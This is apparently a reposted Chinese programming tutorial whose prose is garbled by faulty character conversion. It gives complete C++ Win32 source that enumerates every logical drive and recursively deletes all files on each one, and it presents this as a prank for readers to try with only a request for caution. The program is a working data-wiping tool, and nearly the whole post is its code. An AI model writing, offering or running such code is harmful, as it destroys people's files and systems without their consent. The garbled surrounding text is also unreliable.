基於Windows API完成遍歷一切文件並刪除的辦法。本站提示廣大學習愛好者:(基於Windows API完成遍歷一切文件並刪除的辦法)文章只能為提供參考,不一定能成為您想要的結果。以下是基於Windows API完成遍歷一切文件並刪除的辦法正文
本文實例講述了基於Windows API完成遍歷一切文件並刪除的辦法。分享給年夜家供年夜家參考。詳細剖析以下:
比來一向在學windows API,弄了一些好玩的器械(有點惡作劇了,請年夜家謹嚴應用)...
上面是我現學現賣寫的一個刪除硬盤上一切文件的小法式 ....
#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
WIN32_FIND_DATA data;
HANDLE hFind;
char cFullPath[100];
char cNewPath[100];
sprintf_s(cFullPath,"%s\\*.*",cFilePath);
hFind=FindFirstFile(cFullPath,&data);
do
{
if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
{
continue;
}
if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
{
sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
DelFile(cNewPath);//遞歸
}
// MessageBox(NULL,data.cFileName,"Look",0);
sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
DeleteFile(cFullPath);
}while(FindNextFile(hFind,&data));
}
int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
)
{
DWORD dwDrive=GetLogicalDrives();
bitset<32> bit(dwDrive);
char Path[3]={'a',':','\0'};
for(int ix=0;ix!=32;ix++)
{
if(bit.test(ix))
{
Path[0]='A'+ix;
DelFile(Path);
}
}
return 0;
}
願望本文所述對年夜家的win32法式設計有所贊助。